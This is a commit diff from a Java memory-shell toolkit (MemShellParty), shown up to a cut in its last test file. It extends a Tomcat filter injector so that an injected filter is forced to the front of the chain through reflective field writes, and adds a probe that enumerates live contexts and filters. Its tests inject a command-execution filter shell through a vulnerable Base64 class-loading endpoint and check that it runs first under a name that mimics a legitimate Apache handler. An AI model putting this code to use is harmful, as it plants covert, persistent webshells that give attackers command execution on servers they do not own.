mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support addFilterFirst for tomcat
This commit is contained in:
+31
-5
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -149,15 +150,18 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -175,11 +179,17 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
try {
|
try {
|
||||||
// v7.0.0 以上
|
// Tomcat5
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(context, "filterMaps", results);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -265,6 +275,22 @@ public class TomcatFilterInjector {
|
|||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
return;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+344
@@ -0,0 +1,344 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
String msg = "";
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found\n";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
}
|
||||||
|
msg += formatFiltersData(allFiltersData);
|
||||||
|
}
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) {
|
||||||
|
List<Map<String, String>> filtersList = new ArrayList<Map<String, String>>();
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
if (filterMaps == null || filterMaps.length == 0) {
|
||||||
|
return filtersList;
|
||||||
|
}
|
||||||
|
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs", null, null);
|
||||||
|
Map<String, Object> filterConfigs = null;
|
||||||
|
try {
|
||||||
|
filterConfigs = (Map<String, Object>) getFieldValue(context, "filterConfigs");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
Map<String, Object> filterDefMap = new HashMap<String, Object>();
|
||||||
|
if (filterDefs != null) {
|
||||||
|
for (Object filterDef : filterDefs) {
|
||||||
|
String filterName = (String) invokeMethod(filterDef, "getFilterName", null, null);
|
||||||
|
if (filterName != null) {
|
||||||
|
filterDefMap.put(filterName, filterDef);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Set<String> processedFilters = new HashSet<String>();
|
||||||
|
for (Object filterMap : filterMaps) {
|
||||||
|
String filterName = (String) invokeMethod(filterMap, "getFilterName", null, null);
|
||||||
|
if (filterName == null || processedFilters.contains(filterName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
processedFilters.add(filterName);
|
||||||
|
|
||||||
|
Map<String, String> filterInfo = new LinkedHashMap<String, String>();
|
||||||
|
filterInfo.put("filterName", filterName);
|
||||||
|
String filterClass = null;
|
||||||
|
Object filterDef = filterDefMap.get(filterName);
|
||||||
|
if (filterDef != null) {
|
||||||
|
try {
|
||||||
|
filterClass = (String) invokeMethod(filterDef, "getFilterClass", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object clazz = invokeMethod(filterDef, "getFilterClass", null, null);
|
||||||
|
if (clazz instanceof Class) {
|
||||||
|
filterClass = ((Class<?>) clazz).getName();
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (filterClass == null || filterClass.isEmpty() || filterClass.equals("N/A")) {
|
||||||
|
try {
|
||||||
|
if (filterConfigs != null) {
|
||||||
|
Object filterConfig = filterConfigs.get(filterName);
|
||||||
|
if (filterConfig != null) {
|
||||||
|
Object filter = invokeMethod(filterConfig, "getFilter", null, null);
|
||||||
|
if (filter != null) {
|
||||||
|
filterClass = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
filterInfo.put("filterClass", filterClass != null ? filterClass : "N/A");
|
||||||
|
|
||||||
|
List<String> urlPatternsList = new ArrayList<String>();
|
||||||
|
List<String> servletNamesList = new ArrayList<String>();
|
||||||
|
|
||||||
|
for (Object fm : filterMaps) {
|
||||||
|
String mappingFilterName = (String) invokeMethod(fm, "getFilterName", null, null);
|
||||||
|
if (filterName.equals(mappingFilterName)) {
|
||||||
|
String[] urlPatterns = null;
|
||||||
|
try {
|
||||||
|
urlPatterns = (String[]) invokeMethod(fm, "getURLPatterns", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object urlPattern = getFieldValue(fm, "urlPattern");
|
||||||
|
if (urlPattern instanceof String) {
|
||||||
|
urlPatterns = new String[] { (String) urlPattern };
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (urlPatterns != null && urlPatterns.length > 0) {
|
||||||
|
for (String pattern : urlPatterns) {
|
||||||
|
urlPatternsList.add(pattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] servletNames = null;
|
||||||
|
try {
|
||||||
|
servletNames = (String[]) invokeMethod(fm, "getServletNames", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object servletName = getFieldValue(fm, "servletName");
|
||||||
|
if (servletName instanceof String) {
|
||||||
|
servletNames = new String[] { (String) servletName };
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (servletNames != null && servletNames.length > 0) {
|
||||||
|
for (String servletName : servletNames) {
|
||||||
|
servletNamesList.add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!urlPatternsList.isEmpty()) {
|
||||||
|
StringBuilder patterns = new StringBuilder();
|
||||||
|
for (int j = 0; j < urlPatternsList.size(); j++) {
|
||||||
|
patterns.append(urlPatternsList.get(j));
|
||||||
|
if (j < urlPatternsList.size() - 1) {
|
||||||
|
patterns.append(", ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filterInfo.put("urlPatterns", patterns.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!servletNamesList.isEmpty()) {
|
||||||
|
StringBuilder servletNames = new StringBuilder();
|
||||||
|
for (int j = 0; j < servletNamesList.size(); j++) {
|
||||||
|
servletNames.append(servletNamesList.get(j));
|
||||||
|
if (j < servletNamesList.size() - 1) {
|
||||||
|
servletNames.append(", ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filterInfo.put("servletNames", servletNames.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
filtersList.add(filterInfo);
|
||||||
|
}
|
||||||
|
|
||||||
|
return filtersList;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String contextRoot = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
|
||||||
|
output.append("Context: ").append(contextRoot).append("\n");
|
||||||
|
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Map<String, String> filterInfo : filters) {
|
||||||
|
String filterName = filterInfo.get("filterName");
|
||||||
|
String filterClass = filterInfo.get("filterClass");
|
||||||
|
String urlPatterns = filterInfo.get("urlPatterns");
|
||||||
|
String servletNames = filterInfo.get("servletNames");
|
||||||
|
|
||||||
|
if (filterName != null) {
|
||||||
|
output.append(filterName);
|
||||||
|
}
|
||||||
|
if (filterClass != null) {
|
||||||
|
output.append(" -> ").append(filterClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (urlPatterns != null && !urlPatterns.isEmpty()) {
|
||||||
|
output.append(" -> URL:[").append(urlPatterns).append("]");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (servletNames != null && !servletNames.isEmpty()) {
|
||||||
|
output.append(" -> Servlet:[").append(servletNames).append("]");
|
||||||
|
}
|
||||||
|
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private static String repeatString(String str, int count) {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
for (int i = 0; i < count; i++) {
|
||||||
|
sb.append(str);
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null,
|
||||||
|
null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -43,28 +43,32 @@ public class ContainerTool {
|
|||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
|
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
String url = "http://127.0.0.1:" + port;
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromWebLogic(GenericContainer<?> container) {
|
public static String getUrlFromWebLogic(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(7001);
|
int port = container.getMappedPort(7001);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromWAS(GenericContainer<?> container) {
|
public static String getUrlFromWAS(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(9080);
|
int port = container.getMappedPort(9080);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,6 +11,9 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import okhttp3.*;
|
import okhttp3.*;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -141,4 +144,41 @@ public class ProbeAssertion {
|
|||||||
));
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getFiltersForContext(String probeData, String contextPath) {
|
||||||
|
List<String> filters = new ArrayList<>();
|
||||||
|
String[] lines = probeData.split("\n");
|
||||||
|
boolean inTargetContext = false;
|
||||||
|
|
||||||
|
for (String line : lines) {
|
||||||
|
line = line.trim();
|
||||||
|
|
||||||
|
if (line.startsWith("Context:")) {
|
||||||
|
inTargetContext = line.contains("(" + contextPath + ")");
|
||||||
|
} else if (inTargetContext) {
|
||||||
|
if (line.isEmpty() || line.startsWith("Context:")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (line.equals("No filters found")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (line.contains(" -> ")) {
|
||||||
|
filters.add(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return filters;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String extractFilterName(String filterLine) {
|
||||||
|
if (filterLine == null || filterLine.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int arrowIndex = filterLine.indexOf(" ->");
|
||||||
|
if (arrowIndex > 0) {
|
||||||
|
return filterLine.substring(0, arrowIndex).trim();
|
||||||
|
}
|
||||||
|
return filterLine.trim();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+5
@@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
||||||
import com.reajason.javaweb.probe.payload.JdkProbe;
|
import com.reajason.javaweb.probe.payload.JdkProbe;
|
||||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
@@ -33,4 +34,8 @@ public class DetectionTool {
|
|||||||
public static String getServerDetection() {
|
public static String getServerDetection() {
|
||||||
return getBase64Class(ServerProbe.class);
|
return getBase64Class(ServerProbe.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getTomcatFilterProbe() {
|
||||||
|
return getBase64Class(TomcatFilterProbe.class);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-1
@@ -4,10 +4,14 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -34,6 +42,12 @@ public class Tomcat10ContainerTest {
|
|||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
public static void tearDown() {
|
||||||
|
log.info(container.getLogs());
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void testJDK() {
|
void testJDK() {
|
||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
@@ -76,4 +90,24 @@ public class Tomcat10ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+27
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
